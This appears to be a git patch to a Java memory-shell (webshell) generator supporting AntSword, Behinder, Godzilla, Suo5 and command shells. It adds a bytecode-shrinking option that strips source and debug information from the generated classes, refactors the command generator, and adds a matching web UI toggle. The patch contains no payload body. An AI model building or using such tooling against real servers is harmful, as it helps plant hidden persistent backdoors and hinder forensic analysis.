From cf2b2af67ef16c3043d2a29e536b14b6f24da380 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 26 Feb 2025 20:19:30 +0800 Subject: [PATCH] feat: support bytecode shrink 1. remove source file symbol (#46) 2. remove debug info when enable shrink (#29) --- .../reajason/javaweb/ClassBytesShrink.java | 26 +++++++++++++ .../javaweb/memshell/MemShellGenerator.java | 2 +- .../javaweb/memshell/config/ShellConfig.java | 6 +++ .../memshell/generator/AntSwordGenerator.java | 5 ++- .../memshell/generator/BehinderGenerator.java | 3 +- .../memshell/generator/CommandGenerator.java | 37 +++++++++++++------ .../memshell/generator/GodzillaGenerator.java | 3 +- .../memshell/generator/InjectorGenerator.java | 17 +++++---- .../memshell/generator/Suo5Generator.java | 3 +- .../tomcat/command/CommandFilterTest.java | 2 +- web/src/components/main-config-card.tsx | 12 ++++++ web/src/i18n/en.json | 1 + web/src/i18n/zh-CN.json | 1 + web/src/types/schema.ts | 1 + web/src/types/shell.ts | 1 + web/src/utils/transformer.ts | 1 + 16 files changed, 94 insertions(+), 27 deletions(-) create mode 100644 common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java diff --git a/common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java b/common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java new file mode 100644 index 00000000..8f394090 --- /dev/null +++ b/common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java @@ -0,0 +1,26 @@ +package com.reajason.javaweb; + +import net.bytebuddy.jar.asm.ClassReader; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.ClassWriter; +import net.bytebuddy.jar.asm.Opcodes; + +/** + * @author ReaJason + * @since 2025/2/25 + */ +public class ClassBytesShrink { + + public static byte[] shrink(byte[] bytes, boolean full) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(0); + ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) { + @Override + public void visitSource(String source, String debug) { + + } + }; + cr.accept(cv, full ? ClassReader.SKIP_DEBUG : 0); + return cw.toByteArray(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 89315bb5..693d3cce 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -62,7 +62,7 @@ public class MemShellGenerator { case Godzilla: return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes(); case Command: - return CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); + return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes(); case Behinder: return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes(); case Suo5: diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java index dbb24f85..4ad78f3f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java @@ -57,6 +57,12 @@ public class ShellConfig { @Builder.Default private boolean debug = false; + /** + * 是否启用缩小字节码 + */ + @Builder.Default + private boolean shrink = false; + public boolean isDebugOff() { return !debug; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java index 67ae22f5..faa5a70a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; @@ -19,7 +20,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named; * @author ReaJason * @since 2025/02/18 */ -public class AntSwordGenerator { +public class AntSwordGenerator { private final ShellConfig shellConfig; private final AntSwordConfig antSwordConfig; @@ -67,7 +68,7 @@ public class AntSwordGenerator { public byte[] getBytes() { DynamicType.Builder builder = getBuilder(); try (DynamicType.Unloaded make = builder.make()) { - return make.getBytes(); + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java index 0a1c0de4..2928ec50 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; @@ -70,7 +71,7 @@ public class BehinderGenerator { public byte[] getBytes() { DynamicType.Builder builder = getBuilder(); try (DynamicType.Unloaded make = builder.make()) { - return make.getBytes(); + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java index ce740d4d..f0d51f6c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; @@ -20,40 +21,52 @@ import static net.bytebuddy.matcher.ElementMatchers.named; * @since 2024/11/24 */ public class CommandGenerator { + private final ShellConfig shellConfig; + private final CommandConfig commandConfig; - public static byte[] generate(ShellConfig config, CommandConfig shellConfig) { - if (shellConfig.getShellClass() == null) { - throw new IllegalArgumentException("shellConfig.getClazz() == null"); + public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) { + this.shellConfig = shellConfig; + this.commandConfig = commandConfig; + } + + public DynamicType.Builder getBuilder() { + if (commandConfig.getShellClass() == null) { + throw new IllegalArgumentException("commandConfig.getClazz() == null"); } DynamicType.Builder builder = new ByteBuddy() - .redefine(shellConfig.getShellClass()) - .name(shellConfig.getShellClassName()) - .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())); + .redefine(commandConfig.getShellClass()) + .name(commandConfig.getShellClassName()) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); - if (config.isJakarta()) { + if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } - if (config.isDebugOff()) { + if (shellConfig.isDebugOff()) { builder = LogRemoveMethodVisitor.extend(builder); } - String shellType = config.getShellType(); + String shellType = shellConfig.getShellType(); if (!ShellType.WEBSOCKET.equals(shellType)) { if (StringUtils.startsWith(shellType, ShellType.AGENT)) { builder = builder.visit( new LdcReAssignVisitorWrapper(new HashMap(1) {{ - put("paramName", shellConfig.getParamName()); + put("paramName", commandConfig.getParamName()); }}) ); } else { - builder = builder.field(named("paramName")).value(shellConfig.getParamName()); + builder = builder.field(named("paramName")).value(commandConfig.getParamName()); } } + return builder; + } + + public byte[] getBytes() { + DynamicType.Builder builder = getBuilder(); try (DynamicType.Unloaded make = builder.make()) { - return make.getBytes(); + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); } } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java index 626f4eb5..32adeee8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; @@ -75,7 +76,7 @@ public class GodzillaGenerator { public byte[] getBytes() { DynamicType.Builder builder = getBuilder(); try (DynamicType.Unloaded make = builder.make()) { - return make.getBytes(); + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); } } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java index 5f66f186..af194ede 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; @@ -22,11 +23,11 @@ import static net.bytebuddy.matcher.ElementMatchers.named; * @since 2024/11/24 */ public class InjectorGenerator { - private final ShellConfig config; + private final ShellConfig shellConfig; private final InjectorConfig injectorConfig; - public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) { - this.config = config; + public InjectorGenerator(ShellConfig shellConfig, InjectorConfig injectorConfig) { + this.shellConfig = shellConfig; this.injectorConfig = injectorConfig; } @@ -36,20 +37,20 @@ public class InjectorGenerator { DynamicType.Builder builder = new ByteBuddy() .redefine(injectorConfig.getInjectorClass()) .name(injectorConfig.getInjectorClassName()) - .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*"))) .method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); - if (config.needByPassJavaModule()) { + if (shellConfig.needByPassJavaModule()) { builder = ByPassJavaModuleInterceptor.extend(builder); } - if (config.isJakarta()) { + if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } - if (config.isDebugOff()) { + if (shellConfig.isDebugOff()) { builder = LogRemoveMethodVisitor.extend(builder); } return builder; @@ -59,7 +60,7 @@ public class InjectorGenerator { public byte[] generate() { DynamicType.Builder builder = getBuilder(); try (DynamicType.Unloaded make = builder.make()) { - return make.getBytes(); + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); } } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java index 79eefe1c..a04c42b1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; @@ -59,7 +60,7 @@ public class Suo5Generator { public byte[] getBytes() { DynamicType.Builder builder = getBuilder(); try (DynamicType.Unloaded make = builder.make()) { - return make.getBytes(); + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); } } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java index 6bff7d5b..1053403c 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java @@ -42,7 +42,7 @@ class CommandFilterTest { .paramName("cmd") .build(); generateConfig.setShellType(shellType); - byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig); + byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes(); Object obj = ClassUtils.newInstance(bytes); assertEquals(shellConfig.getShellClassName(), obj.getClass().getName()); assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index 984236d6..8bd0f5d1 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -260,6 +260,18 @@ export function MainConfigCard({ )} /> + ( + + + + + + + )} + /> diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json index e2a50b5c..ad0309b0 100644 --- a/web/src/i18n/en.json +++ b/web/src/i18n/en.json @@ -36,6 +36,7 @@ "shellClassName": "Shell ClassName", "shellMountType": "Shell Mount Type", "shellTool": "Shell Tool", + "shrink": "Shrink Bytecode", "urlPattern": "URL Pattern" }, "optional": "(Optional)", diff --git a/web/src/i18n/zh-CN.json b/web/src/i18n/zh-CN.json index a7caca97..29101de9 100644 --- a/web/src/i18n/zh-CN.json +++ b/web/src/i18n/zh-CN.json @@ -36,6 +36,7 @@ "shellClassName": "内存马类名", "shellMountType": "内存马挂载类型", "shellTool": "内存马功能", + "shrink": "缩小字节码", "urlPattern": "请求路径" }, "optional": "(可选)", diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index 6e1a50b8..2e27ee14 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -18,6 +18,7 @@ export const formSchema = z.object({ headerValue: z.optional(z.string()), injectorClassName: z.optional(z.string()), packingMethod: z.string().min(1), + shrink: z.optional(z.boolean()), }); export type FormSchema = z.infer; diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts index 7e25a1cd..47b2bab6 100644 --- a/web/src/types/shell.ts +++ b/web/src/types/shell.ts @@ -6,6 +6,7 @@ export interface ShellConfig { debug?: boolean; byPassJavaModule?: boolean; obfuscate?: boolean; + shrink?: boolean; } export interface ShellToolConfig { diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index 9ea856da..96924dd1 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -9,6 +9,7 @@ export function transformToPostData(formValue: FormSchema) { debug: formValue.debug, targetJreVersion: formValue.targetJdkVersion, byPassJavaModule: formValue.bypassJavaModule, + shrink: formValue.shrink, }; const shellToolConfig: ShellToolConfig = { shellClassName: formValue.shellClassName,